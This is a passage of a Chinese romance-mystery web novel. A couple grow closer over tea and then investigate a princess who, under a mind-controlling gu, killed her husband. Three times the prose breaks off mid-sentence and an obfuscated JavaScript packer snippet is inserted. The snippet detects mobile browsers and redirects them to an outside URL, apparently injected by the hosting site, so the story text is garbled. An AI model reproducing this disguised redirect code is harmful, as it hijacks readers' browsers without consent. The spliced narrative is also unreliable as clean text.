南夙这时才发现,一旁支了个火炉,一个紫砂小壶摆在上头,正烧着水。 南夙又一扫着桌面,“茶壶、茶杯一概没有,夫君如何请我喝茶?” “你看,又急。”沈序调笑她,缓缓起身走向房间深处去。 南夙看见他打开了一面柜门,从柜子里拿出了一套茶具。 “藏得这么深,这茶杯对你这么重要?”南夙的视线跟随着他,突然想到些什么,“难不成是你相好送的?” 沈序听出她语气中的试探,无奈地勾起嘴角,但却很是认真地看着南夙,“我有没有相好你不知道?” 南夙撇嘴,歪过头来,“我可不知道。” 她一向坦然,此时面对沈序竟耍起了些无赖来。 但沈序可不是那么好拿捏的人,他直接得吓人。 他没有回答南夙这句故意刁难一般的话,只是走到塌边,将茶杯轻轻往南夙跟前一推。 那紫砂壶中的水像是突然活了一般,烧得轰鸣,水泡翻涌至水面“嘭”的炸开,气流冲击壶盖,发出“噗噗”的撞击声,这声音来得实在是不巧,好像故意在故意打断二人那丝丝缕缕的思绪与情愫。 沈序称了茶,将紫砂壶提起,滚水淋在壶底,只听得“滋——”一声轻吟,像是沉睡的生灵被烫醒了。 南夙望着沈序的动作想。 不。被烫醒的不是生灵,是我,是我藏在心底从未出现的情愫,是我的心跳,是难耐的喜欢。 沈序洗了壶与茶杯,正将茶叶往壶里倒。 他突然开口,像是现在才想通了刚才的问题一般,他说:“便是真的有相好,也只会是你。所以,夫人是不是欠我一套茶具了?” 南夙想,完了。 方才被沸水盖住的心跳声此刻没了遮挡,却越发嚣张,在胸腔里跳得更厉害了。 她快速抬起眼眸看了沈序一眼,又立马收回视线,欲盖弥彰地指指沈序手中的茶。 “这是什么茶。” 沈序低着头,嘴角轻而易举被南夙转移话题的生硬牵起,但为了给南夙面子,他只是说了这茶的名字。 “蒙顶。”他说,“不知道你喜欢喜欢这味道。” 他晃晃茶壶,几秒后,往南夙杯中添了茶。 “尝尝。” 南夙端起茶杯轻尝了一口,茶汤滑进口中的瞬间,她眉眼微微动了一下,她怔住。那茶并不像寻常的煮茶那般咸涩厚重,反而带着一种她说不清的清润,像是初春的早晨,推开窗是迎面扑来的那阵雾气,润润的,软软的,又带着若有若无的甜。 就像…… 沈序带给她的感觉一样。 “喜欢吗?”沈序问他。 “喜欢。”南夙说。 “那,可以吗?”沈序又问,他指尖忽地攥紧了壶柄,像是在等待宣判死刑时的紧张。 可南夙却像没看出一分他的焦急,又细细品了一口茶,半晌,才将茶杯放下。 她掀起眼睫,那双琥珀猫瞳定定地望着沈序,望进他的眼睛里。 随后,沈序听见她说:“为我添茶吧沈序,我以后,想常喝这种茶,可以吗?” 她朝沈序歪着头。 沈序想立刻跳起来说:“可以,当然可以,你想要什么都可以。” 幸好他从小便知克制,所以他只是咬咬牙,克制住自己的笑,说:“当然。” “沈序。”南夙突然开口。 “怎么了?”沈序看他。 “有机会,陪我回灵诏吧,我想让阿姎见见你。” “好。”他轻声答应。 夜深了,喝完这壶茶,便睡下吧。 只是今夜,这间屋子,注定无眠。 更漏不止走到了几时,窗台上的红烛已经跳至生命的末尾,这夜是深了。 一片寂静中,忽有一个声音响起。 “沈序。”那是那是一个女子的声音,带着点困顿。 “怎么了?”一个男子的声音回道。 原来这深夜,真的有两个人同时宿在一间屋子里,却默契地都没有入眠。 “睡不着吗?”沈序问她。 “你呢?”南夙不回,却是反问。 “睡不着。” “那我也睡不着。”像是逗趣一般的回话。 “为什么?” “为什么?”就非要你先回答才行。 “可能是……太兴奋了吧。” “那我也一样。”这还对上了。 南夙听见榻边传来一声轻笑。 “沈序。”她又叫了一声。 “怎么了?”沈序耐心地听她说话。 “开着窗吗?”她问。 “嗯,开着呢。”沈序回。 “怪不得,我听见风声了。”南夙说。 “吵吗?”沈序问她。 “不吵。”南夙自顾自在床上摇摇头,突然问他:“沈序,开着窗,冷吗?” 沈序怔住,他也不知道自己与南夙的默契究竟从何而来,但若是肯花点时间细细想想,其实他和南夙,好像从见面的第一眼就已经很有默契了。 他好久没有回答。 南夙紧闭了下眼,许久才睁开,没有看向榻边,只是轻声开口:“要来床上吗?” 沈序没有回答。 半晌,南夙才听见一点窸窸窣窣的声响,她意识到是沈序正在起身。 随后她听见一点轻微的脚步声正朝床边走来,她下意识想望床里面靠,却一瞬间失去了对身体的控制,僵在原地动弹不得。 她没敢睁眼,瞳孔的剧烈移动暴露出她心底的不安。 她感受到那人在床前停留了许久,却迟迟没有要上床的动静。 沈序到底是什么意思,耍自己吗? 南夙正想睁眼,眼睛却在此时覆上了一只手,接着,一股温热不断地靠近她来。 她不自经地抓住被子,手指攥得发白。 那温柔落在了她的额上,南夙肯定,那一刻,她的心定然是停了一瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232737|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,不然她怎么会像失去了感知能力一样,一瞬间将所有的外物都屏蔽了,只能感受到沈序的吻呢。 沈序并没有停留太久,担心南夙接受不了,他只亲亲碰了一下她的额头便起了身,即使如此,他手下还是能感受到南夙骤然加快的眼瞳。 他起身,却没有直接站起来,而是靠近南夙的耳朵,轻轻说:“等明天。” 说完,他直起身来,抚了抚南夙的头,哄她:“睡吧。” 转身回了榻上,一夜未眠。 南夙倒是在听了沈序说了那句话后莫名安了心,暂时将那些线团一样繁杂的思绪都抛到一边去,歪头到另一边,缓缓睡去。 再醒来时,天光大亮。 南夙掀开被子。 窗户开着,她往窗外看了一眼,被阳光晃了眼。 门此时被推开,南夙扭头望去,见是红雾,正端着水盆进来。 “你怎么知道我醒了?”她震惊地望着红雾。 红雾扭头冲她一笑,“世子爷让我这个时候来的,说小姐这个时候一定醒了,我本来还不信,没想到小姐真醒了,我就进来了。” 南夙一秒听出她的调侃,却没有说什么,只是问她:“沈序呢?” 红雾笑她:“小姐这就想念上世子爷了?” “红雾。”南夙故意沉下脸来。 “好了好了,奴婢知错,世子爷出府去了。”红雾拧了毛巾递给南夙。 南夙擦擦脸,“这么早他出府去干嘛?” “上午有人来找,世子爷叫他戚禹。”红雾解释道。 戚禹?这个时候来找沈序干什么?难道京城又出什么事了? “好了小姐,别发呆了,想知道是什么事,等世子爷回来问问他不就晓得了?”红雾手在她眼前晃了几下,才打断她的思绪。 南夙一听也是,顿时将这些事都忘了。 她捂着肚子问红雾:“我好饿啊,有没有什么好吃的?” “小姐等着,我让厨房里准备着。” 沈序回来时南夙正在喂豆豆,豆豆被南夙养在院子的假山里,每日来往院子里的人都被豆豆认熟了,不会伤人,每到用食时,她只要来到假山前面喊一声,豆豆便会从假山的孔洞里探出头来。 南夙将它放进框子里,往里面扔一只田鼠,站在一旁看豆豆追田鼠的游戏。 豆豆是个喜欢恶作剧的孩子,每次都会假装抓不住田鼠,又在小田鼠慢慢对它失去警惕时一口将田鼠吞下,好像什么奇怪的癖好一样。 但南夙是个慈母,孩子喜欢就好了,也不去纠正。 “你回来了?”本来在进食的豆豆突然停下了动作,南夙就知道它是感受到熟人的气息了,而能让豆豆如此专注的,除了自己,就是那人。 她转过身去,果然见沈序正信步朝这边走来。 “你去哪了?红雾说戚禹来找你,他找你做什么?” 这一连串的询问砸下去,沈序忍不住笑出声来,揶揄道:“夫人就这么担心我?” “少贫嘴。”南夙瞪他一眼,“快说。” 沈序停在她身边,豆豆直起身子来,沈序摸摸它的脑袋,才说:“这几日神刹海的荷花开得正好,那些文人清客们便邀着六月六前去一聚。” “六月六,那不是很快了?今天都五月二十四了。” “嗯,很快了。” “那荷花真的很美吗?”南夙突然问道。 沈序低着头看她,眼睛弯弯的,“想去吗?” 南夙毫不犹豫地点点头,“想。” 沈序刮刮她的鼻头,有些宠溺地说:“好,带你一起去。” 41.第 41 章 六月初六那日一早,南夙与沈序便一同去了神刹海。 前两日陛下听说了他们六月初六日于设宴,恰楼兰使臣前两日已经离京,皇宫内也闲了下来,便下旨让宫中众人一道前去。 不过陛下仁爱,免了入宫护驾一事,命京中贵家一应前往,不必特意等待天子。 六月天的神刹,被荷叶染绿了。晨雾里,粉白荷花从碧玉般的叶间探出了头,露珠在花瓣山打颤。 南夙二人刚走进,便见两个熟人走来,正是戚禹与奚梧二人。 走至跟前,奚梧仍是那张冰块脸,规规矩矩地向南夙行了礼,南夙礼貌回礼。 至于戚禹这厮,隔老远南夙便瞥见他不怀好意的表情,歪着嘴巴侧着脸,一脸猥琐地冲南夙挑了下眉。 南夙觉得他憋不出什么好屁来。 果然,南夙刚一走近他便伸手往她肩上一拍,被沈序一把拦下,将他的手重重扔了下去。 戚禹非但没有生气,反而笑得更开怀了,他转移了目标,一巴掌拍在沈序的肩上,“可以啊兄弟,动作挺迅速。” 沈序乜了他一眼,没有说话。 南夙一听便知道他要说什么,这些天她因为这事在府里都快被底下的人给搞木然了,眼下再也不想听到有关此类的话,因此她赶紧转了话题。 “你们怎么不登坊?”她问奚梧。 戚禹像是停不住嘴巴,立刻将话题接了过去,“陛下未到,谁敢登船?” “陛下不是说不用等?”她说。 “陛下是说了不用等,但谁敢真不等?” 得。 南夙了然地点点头,又问:“那你们就这样等?” 奚梧伸出手指朝一处指去,“可在那边暂休片刻。” 南夙顺着他手指的地方看去,发现那有一长廊,廊下已然有许多身着华服的贵人。 四人一道往长廊走去。 刚迈进长廊,南夙便感觉到若有若无的视线,接着便听见一阵窃窃的私语,“这就是那灵诏的世子妃,长得还真是……” 说话的人被坐在身边的人肘了两下,他一抬头,发现沈序正目光冰冷地盯着他,忙躲开视线,若无其事地转身,将手中折扇打开扇了扇,随后指着那池子中的荷花,欲盖弥彰地说:“瞧瞧路兄,这神刹的荷花真是美极了。” 他身旁的人无奈扶额,忙抱拳向南夙道歉。 南夙不在意地挥挥手,伸手拉住沈序的手,拉着他往里走了。 一路往里走,南夙感觉自己许多视线往自己身上来,她不在意,也不放开沈序的手,继续往里走,直到终于有了空闲的位置,他们四人坐了下来,那视线才少了些。 “呼。”她种种吐出口气,“感觉像被围观的猴子一样。” 沈序有些抱歉地揉揉她的手。 就这一个小动作,又被戚禹给发现了,他正欲说话,廊下突然闯进来一人,在人群间大喊。 “出事了!” “什么?” “出什么事儿了?” 廊下一片混乱,众人你一言我一语将方才大喊那人围在中间。 显然大家还是在看猴子,只是眼下,猴子已然换了人。 就在这嘈杂的混乱中,南夙听得那人一声清晰地声音传来。 “二公主殿下杀了驸马,往皇宫去了。” 朱雀门外呜呜泱泱围着一群人。 侍卫、太监、宫人,黑压压跪了一地。 人群中间,站着一个身穿红裙的女子。 那裙子的颜色是石榴的红,被血渗透的下摆颜色更深些,红得发黑,血还没干,此刻正滴答滴答往下流着,落在地上,染了一地的红。 她的手中握着一把刀,刀尖上的鲜血争先恐后地往下滚,炸在青石板上。 就连她的脸也没能被赦免,那血应当是溅上去的,染在她的侧脸、发丝、睫毛、眼尾,一切阳光所能照到的地方。 十九蛊突然震颤起来,被南夙轻轻掀了下衣裙,又平静了下来。 但接着,她刚踏入朱雀门,心口便滚起一股躁动,不那么剧烈,只是随着南夙不断靠近,对它的反应也越来越大。 她按住心口,深呼吸两口,将这躁动压下去。 沈序立刻发现了她的不对,伸手扶住她,“怎么了?” 戚禹和奚梧也停下脚步,问她怎么样。 南夙摇头说没事,却抬眼盯着那红裙女人,一字一句:“她被下了蛊。” 沈序瞳孔微缩。 戚禹脸色也瞬间严肃起来。至于奚梧,他一辈子那个臭脸,看不出来有没有因为南夙这句话紧张起来。 这时,那女人忽然抬起头来。 晨光照在她脸上,很年轻,很美,但她的眼神却是空的。 她看着人群,又想没在看任何人,嘴唇翕动,反反复复念叨着同一句话。 “我逃出来了……我逃出来了……” 有人在旁边小声说:“二公主疯了。” 南夙看见那女子抬起来露在空气中的脸,脑中突然想起见到她的第一面。与楼兰比赛那天晚上的庆功宴上,二公主韩清棠与诸位皇室的女儿们姗姗来迟,也出现在了晚宴。 那夜,南夙前往兰渚殿回来后,曾与她有过一面之缘。她那日朝南夙明朗的一笑,给南夙留下了印象。 加上这一身鲜艳夺目的石榴红裙,南夙几乎立刻就认出了她。 南夙盯着她的眼睛,那双眼睛是空的,与那日她所见到的没有半分相似,可这一模一样的脸却在告诉她,眼前的人就是她那日所见到的二公主。 二公主可没有什么双胞胎姐妹。 她怎么会变成这样? 体内的蛊又是怎么回事? 此时,人群里突然挤出来一个人,是刑部尚书李礼,他满头大汗,一眼看见沈序,像看见了救星。 “沈世子!沈世子您来得正好!” 沈序皱眉,“李大人,这是怎么回事?” 李尚书苦笑,“二公主……她把驸马杀了。杀完人自己走到宫门口,扔下刀就成这样了。这人证物证都有,可她疯了,问不出话,大理寺没法结案啊!” 他一把抓住沈序的袖子。 “此案还仰仗世子。” 沈序觉得他说的话好笑得很,“大人自己也说了,人疯了,既是如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236645|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下官又有何法?” 李礼的眼神似有似无地往南夙那边飘。 南夙被他的反应搞得一头雾水、莫名其妙。他是不是觉得自己的动作很隐蔽? “李大人有话不妨直说,这么看着我夫人做什么?” 李尚书抱手作揖,“在下听说世子任少卿期间办下杭州贪饷一案多有世子妃的帮助,前段时间世子与世子妃又联手破了二皇妃的案子,在下听说……” 他停顿一下,“世子妃是用了来自灵诏的蛊,就是那个叫做真言蛊的东西才破了此案,在下就想,世子妃可有别的蛊能够从一个疯了的人口中套出话来?” 原来打的是这个算盘。 南夙想,有肯定是有的,但你应该用不上,毕竟这人疯的原因,也是蛊。谁知道这蛊下下去会不会出点什么意外? 到时候韩清棠一死。 好家伙,谋害公主! 那我不死路一条? 沈序听他一番话听得好笑,“既是如此,大人为何不直接问我夫人,反来问我?” 李礼犹豫一瞬:“这……” 沈序道:“是在下的疏忽,忘了告诉大人,往日在府里,向来只有我听夫人的话,您这问我,不是让我没法交代吗?” 李礼愣了半天,讪讪道:“世子说笑了。” 沈序眨眨眼,笑得天真无邪,“我可没说笑啊。大人您是不知道,我在家可听夫人的话了。” 南夙站在一旁,嘴角微微弯了弯,没说话。 李礼只好转向南夙,“世子妃,您看这……这案子没你是不行的!” 南夙一点头,“好,我接了。” 牢房内,南夙隔着栅栏看着韩清棠。 她所在角落里,抱着膝盖,反反复复念叨着那句话。 “我逃出来了……我逃出来了……” 她时而声音很低,像在呢喃,忽又突然提高声音,疯疯癫癫地笑着,大喊着那句“我逃出来了”。 在她没有逻辑的念叨中,南夙无意间听见她喊了一声“娘”,那声音很轻,只一瞬便消失在空气中,但被南夙敏锐地捕捉到了。 南夙靠近一步,圣蛊躁动得更加厉害。她仔细感受了一下,那蛊种在她的脑中,控制着她的神志。 “灵台。”她启唇。 沈序站在她身侧,一直没说话,直到她开了口,才问道:“看出来了?” “嗯。”南夙扭头看他,“种在脑子里。” 沈序皱眉,“谁敢给公主下蛊?” 南夙摇头,“不知道,灵台蛊种在人脑子里,就是用来控制神志的。” 她看着韩清棠,忽然问了一句话。 “你娘呢?” 韩清棠的念叨停了一瞬。 然后又继续了。 南夙转过身,对沈序说:“她知道我们在说什么,那只疯蛊,压不住她的神志。她有一瞬间是清醒的。” 沈序目光一沉,“所以她不是真疯?” 南夙点头,“不是,就凭这枚蛊我也可以确定,她是被人弄疯的,除非她能心狠到自己给自己种蛊。” “可这下蛊的人,水平还差着呢。” 42.第 42 章 “先去驸马府。” 出了牢房,南夙与沈序打算直奔驸马府。 李尚书还在牢房门口,见两人先后出来,拦在南夙身前,“世子妃,怎么样?” 他眼睛暗戳戳往牢房里瞟。 南夙知晓他的意思,无非是想问自己有没有办法能够让二公主恢复理智说出话来,但南夙的答案依旧是,不行。 她摇摇头,没有将二公主脑子里有蛊虫的事告诉他,而是模棱两可地说:“先去驸马府看看。” “这……不是给二公主下……”他磕磕绊绊吐出下半句话,“下那什么东西吗?去驸马府做什么?” 南夙乜他一眼,仗着他听不懂,胡乱诌来,“李大人有所不知,这下蛊是有讲究的,夫妻是最亲密的,有些东西想给二公主下,自然需要些驸马身上的东西,自然要先去看看驸马。” “既是如此,那快……快,现在就去驸马府。”李尚书信以为真,催促道。 沈序在一旁不慌不忙地点火,“李大人别着急嘛,这人是一直在那的,去晚了也坏不了什么大事。” 李大人心里急得骂娘,看不出来我又多着急吗? 也不怪他着急,这桩案子里,死的是新科状元,前途无量,杀人的是皇帝的女儿,当朝公主。这二人位高权重,皆是重要之身,若是不查清,陛下定会震怒。 今陛下听闻此事,已在朝上大发雷霆,命大理寺三日内查清此事,眼下已经过了半日,还不着急?那什么时候着急,人头落地的时候吗? 李大人是如鲠在喉、哽咽难鸣,奈何有求于人,不得不给人当回当回孙子。 沈序可没有随意认人当孙子的习惯,他只是实话实说罢了,那驸马如今已是死人,躺在那里,还能跑了不成? 南夙不着痕迹地拍拍他的手,示意他别乱说话,又朝李尚书轻笑一下,“我们就这去。” 出了门,外面已经有人准备好了马车,南夙转头朝李尚书说:“大人既然着急,不如给我二人牵两匹马来,骑着马快些。” “是是是,世子妃说的是,还不快去给世子和世子妃牵马!”后面这句是向站在一边的侍卫说的。 那人重点下头,说了声“是”,没多久便牵了两匹马过来。 南夙牵过其中一匹,一踩马镫,轻巧地上了马,沈序骑着马在她身后。 南夙扭身朝李尚书抱拳,“先行一步,大人慢来。” 说完,两腿一夹马腹,往驸马府奔去。 案发现场还保留着原来的模样,大理寺的人守在门口,看见南夙,连忙让开路让他们进去。 南夙一走进去,就被院子内满地的血吸引过去,她顺着血迹往里看,视线拐过院内那棵长相怪异的石榴树,望见了躺在那里的尸体。 尸体旁还站着几个人,南夙抬头一看,还是熟人。 那些人显然也已经发现了他们,纷纷停下手中动作,转身面向二人作揖,独有二人不一样。 那两人走到南夙身前,喊了一声“夫人”。 说完又转向身后姗姗来迟的沈序,“主上。” 沈序一抬手,“我现在已经辞官,不是大理寺少卿了,自然也不是你们的主上。” 叶燃与江陌两人面面相觑,像是没料到沈序会来上这么一句话。不过沈序说的也没错,大理寺少卿现在另有其人,自然轮不上喊沈序主上。 “算了算了,你们乐意喊就喊吧。”沈序见他们二人面上失望的表情,挥挥手,“我也乐得找个主上当当。” 南夙瞪了他一眼,沈序忙收了话。 “江陌,叶燃,好久不见。”南夙上前一步,向他们俩打招呼。 江陌抿嘴一笑,“夫人,好久不见。” “有发现什么没有?”南夙往石榴树那边瞥了一眼。 “胸口处有刀伤,一刀毙命。”叶燃接过话头,将方才的发现说予二人听。 “一刀毙命?”南夙问。 叶燃点头,“一刀毙命。” “有没有被下药?”南夙又问。 叶燃摇头,“初步判断,没有,不过更详细的,还需将尸体抬回大理寺后让仵作验一番尸才知道。” 南夙了然地点点头。 她走到那尸体旁边,观察了一下尸体。 那人仰面躺在地上,四肢以一种不协调的方式摊开,胸口衣衫破开一条口子,血肉翻卷,雪已经凝固成深褐色的硬痂。身下尘土浸透了暗紫的血,洇成一片。 那人就是死了的驸马。 他脸色灰白泛青,眼睛半睁着,瞳仁浑浊,视线却好像在看着前方。南夙顺着他瞳孔看的地方看去——那里什么都没有。 尸体内也没有蛊待过的痕迹。 一刀毙命,没有下药。 驸马虽是文生,但毕竟是一个人高马大的男人,二公主一个常年待在深宫里,没有习过武的女子是如何做到一刀杀死一个身高体重都大自己那么多的男子呢? 难道是有人帮她吗? 南夙转头问:“二公主杀害驸马时,有旁人在场吗?” “有的。”江陌点头,“那会正是打扫卫生的时候,府里不少小厮都在场。” “他们亲眼所见,二公主一个人杀了驸马?”南夙又问。 江陌意识到她想问在场的是否有人帮助了二公主,摇摇头,“全都问过了,就是二公主一个人举着刀杀了驸马。” “有没有可能集体说谎呢?”南夙又问。 江陌摇头,“不太可能,当时有一个丫鬟被吓到了,立即跑出府去,在门外大喊‘二公主杀人了’,有许多人都听到了这话,还有,当时驸马府里有客,那位客人也亲眼看见二公主杀了人。” “是谁?” “安宁郡主。” 又一个老熟人。 南夙不知想到什么,转头冲沈序挑了一个眉。 沈序:“……” 夫人我冤枉啊。 他连忙跟上南夙起身往外走的步伐。 “夫人,我们去哪?”他在身后追问道。 “见见这位安宁郡主。”南夙一字一句。 江陌一听她这么说,立刻走到前面去带路。 南夙看着他的背影,突然问了句:“江陌,小猫怎么样了?” 江陌:“嗯……” “怎么了?”南夙见他似有难言之隐,难道是养死了? 那怎么办,我是应该为小猫伤心还是安慰江陌? 南夙在心里暗想,算了,还是先安慰江陌吧,小猫等我忙完了再为你伤心。 她下意识便认为江陌的沉默是难过的原因。 谁料下一秒,走在江陌旁边的叶燃突然开口:“胃口很好,胖了十多斤。” “什么?”南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244106|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夙震惊。 十多斤? “你们喂它吃什么了?”南夙问他俩。 江陌挠挠头,“就,我们吃什么它就吃什么啊,就是它胃口好得有点吓人,膘长得也吓人。” “那改天我得去膜拜膜拜。”南夙说道。 安宁郡主此时正惊魂未定地待在大理寺中,她手脚哆嗦,浑身发抖,两只手仅仅捏着衣衫掩在脸前,似是看到了什么恐怖的东西。 旁边她的侍女正在安慰她,又是擦汗又是拍背。 上次南夙见过的那个默不作声的侍女也站在一边拍着她家郡主的背。 这倒是让南夙没有想到,她还记得上一次安宁郡主被自己刁难的时候,这侍女一直低着头站在旁边不说话来着。 直到一会,南夙才知道,原来这个女子听不见。 怪不得那天任她们说什么她都没反应。 担心韩颖刚受了惊吓没法一下见太多人,因此只有南夙一个人进了房间。 她进了房间关上门,一转身便看见坐在桌边瑟瑟发抖的韩颖。 她缓缓走到桌边,坐在韩颖的对面,没直接开口问她,而是拿出个茶杯,为她倒了杯茶,推到她的面前。 “喝杯茶缓缓。” 韩颖此时才发现有人进了门,她被吓了一大跳,南夙看她身子都离了座。 看清眼前人后,她才松了口气,但身体仍紧绷着。她小心翼翼地看了南夙一眼,嘴唇翕张,“世子妃。” “嗯。”南夙应道。 “你是来问话的?”韩颖抖着嗓子问。 “不是。”南夙摇头,“只是来找你聊聊天,你别太担心,跟我说说话就行。” “说话,说话。”韩颖深呼吸重复着南夙这句话,像是在安慰自己平静下来。 南夙轻声诱导,“对,说说话。” 见她慢慢放松下来,南夙眼中银丝突然闪过,下一秒,面前的韩颖像是失去了焦距一般,突然涣散起来。 “你做什么?”一旁的侍女呵斥。 南夙竖起一只食指放在嘴前,“安静些。” 说完,她又轻声对韩颖说,语气诱哄,“乖,把你看到的都说出来。” 真言蛊生效。 “你今日为什么出现在驸马府?” 韩颖启唇:“清棠姐姐约我到神刹海赏荷花。” “清棠姐姐为何约你到驸马府,而不是直接到驸马府?” “清棠姐姐说,府里做了莲子羹,我最喜欢吃莲子羹。” “到了驸马府,你看见了什么?” “清棠姐姐看见我来很高兴,出门迎我进屋,让下人端了莲子羹进来,我吃了几口,味道还如往年一样好。驸马姐夫进屋了,向我问了好,我想站起身来向驸马姐夫回礼,清棠姐姐按住了我的手,让我不要动。” “然后呢?” “清棠姐姐瞪的驸马姐夫一眼,说‘真碍眼’。驸马姐夫没有说话,转身出了门。屋里只剩下我和清棠姐姐两个人,喝完莲子羹,清棠姐姐说一起去院子里走走,我们一起去了院子。院子里有好多人,清棠姐姐说那些是打扫的小厮,驸马姐夫也在。我和清棠姐姐并排走着,她突然跑进屋子里,拿了把刀回来,冲向驸马姐夫,一刀,捅进了驸马姐夫的胸口里。周围都是尖叫声,他们都在喊‘杀人了,杀人了’。” “杀人了!” 43.第 43 章 韩颖的说辞与江陌所说一致。 南夙在她眼前打一个响指,将她唤醒。“啪”一声,韩颖的发间不知何时爬出一只虫子来,被南夙无声息地拿走,收回手心。韩颖眼神一瞬间恢复清明,接着又立马陷入到恐慌之中。 南夙站起身来,从怀里掏出一个瓷瓶,递给韩颖的丫鬟,“将这个兑水给你们郡主喝了,能缓解下她的情绪。” 那丫鬟犹豫着不敢接,毕竟眼前的人刚刚不知道使了什么妖法,刚刚突然让郡主变了一个人一样,没有反应,喊也喊不醒,只听这人的话。 南夙乜她一眼,看出她的犹豫,又将东西直接放到韩颖面前的桌上,“郡主,东西我放这了,信不信是你的事,告辞。” 说完,她转身出了房间。 她一走,韩颖便立马将桌上的东西拿起来,塞到丫鬟手中,“赶紧给我兑水来。” 主子发话,丫鬟也不敢不从,忙接过东西转身去了。 南夙关上房门,一转身,便有几人迎上来。 “怎么样?”沈序问她。 南夙摇头,“和江陌说的一样。” “有什么问题?”江陌疑惑地问。身世 南夙说:“我没有在驸马体内发现蛊,照你们所说,他也没有被下药,那么,二公主是如何凭一己之力杀了驸马的呢?” 总不能是自愿的吧。 “兴许是没防备?”江陌大胆猜测。 “不会。”沈序打断,"尸体上看不出有反抗的痕迹,就算真的是没防备,那发现之后总会反抗吧。" 南夙赞同地点点头。 “那还会是什么原因呢?” 南夙此时问:“仵作在何处,尸体验得怎么样?” 江陌手指向一处,“在那边。” “看看去。”南夙说。 众人一道往那边走去。 进了殓房,便有几人迎上来,被江陌挥手挡下去,“仵作呢,世子妃想了解一下尸体的情况。” 一个白发老头听声走上前来。 “见过世子,世子妃。” “老师傅。”南夙朝他点了下头,“能否为我们说一下情况?” 老师傅道:“致命伤是胸口那一刀,伤到了心脏,体内没有任何被下药的痕迹。” 他一开口,就说得详细,将南夙想了解的情况的说了一遍。南夙心道,果然是有经验的人。遂道了声谢离开了。 “江陌,叶燃,你能否为我查一下二公主与驸马的生平?” 出了殓房,南夙转向江陌。 江陌点头,“自然,大理寺有所有人的案卷。” “不是那种明面上的。”南夙却摇摇头,“我想要你帮我查查二公主的生母是谁。” “生母?”江陌瞪大眼睛看着南夙,似是听到了什么不可置信地东西,他压低声音,“二公主的生母,难道不是皇后吗?” 南夙说:“我只是怀疑,具体情况还需要查了才知道。” “是。” 有些东西不能忘深处问,江陌自然也知晓这个道理,因此虽然肚子里装了一肚子的困惑,但还是住了嘴,说了声“是”,与叶燃一同出去了。 二人走后。 沈序突然捏了下南夙的耳朵。 南夙抬眼看他,一秒脱离方才严肃的躯壳,回归平常的她,“怎么了?” “怎么想查这个?”沈序问。 南夙凑近了一些,“方才在牢房,你有没有听见二公主轻轻喊了一声‘娘’?” 沈序不置可否地朝她挑了下眉。 “真是细致。”沈序夸道,又问,“江陌和叶燃去查生平,那我们去做什么?” “我再去一趟驸马府。” “做什么?”沈序以一个怪异的姿势靠在她的肩上。 南夙动了动肩,没将肩上的人甩下去,只好直接动手,将沈序的身体推开,“先去驸马府搜查一下,看看有没有什么可疑的东西。” “那走吧,夫人。”沈序站直身子朝外伸出一只手,示意南夙先走。 “等一下。”南夙看着他,伸手指了指自己,又指指他,然后手指在空中左右摇了摇,“我说的是我。” 沈序嘴角一下子收了回来,一脸地委屈,“那我呢?” 南夙牵过他的手,轻轻拍了拍以示安抚,“我想夫君帮我去京城里四处看看,最好是看看能不能找些人问问,关于驸马和公主的事。” 沈序:“……” 很不爽,但是没法拒绝。 才跟夫人互相表明心意,想时时刻刻都黏在一起,但是夫人一心只有查案。 算了。 “我们现在只有两天半的时间能够查案了,先忙完这件事,我日后再弥补你啊。” 沈序眼睛一亮,“你说的啊。” “嗯嗯嗯。”南夙连连点头,一边伸手将他往门外推。 沈序顺从地跟着她的力气往外走,直到走到门口,他突然停下。 南夙一脸疑惑地看着他。 沈序往门旁边一站,弯着腰伸手往门边一放,“夫人先请。” 南夙瞥他一眼,十分配合地扬起下巴,气势昂扬地走出了大理寺。 驸马府。 大理寺的人仍守在外面,他们二人走进院子里,地面上只余下已经凝固的血迹。 南夙径直走进屋子,先看了眼桌上早已放凉的莲子羹,转身问了跟在一边的人,“这莲子羹检查过没?” “回世子妃,已经让人查过了,没有问题。” 南夙将碗抬起,在鼻尖嗅了一口,确定没有什么其它问题才放下,问:“公主与驸马的房间在何处?” 一人上前来,自称驸马府的管家,带着南夙往后院里去。 南夙站在房间门口,推开房门。 屋内的景色让她瞪大了眼睛。 屋内的东西都被换成了红色的,床上的红帐子垂在床前,红烛已经燃尽了,只剩下些烧不掉的烛泪躺在桌上,桌上摆着合卺酒,却一口没动,榻上扔着一件外袍,看纹样和花色,应当是驸马的。 “这是怎么回事?”南夙转头问管家。 别说南夙,管家也是一脸懵啊,这东西,啥时候弄的啊。 他头摇的像拨浪鼓,“老奴也不知道啊。” 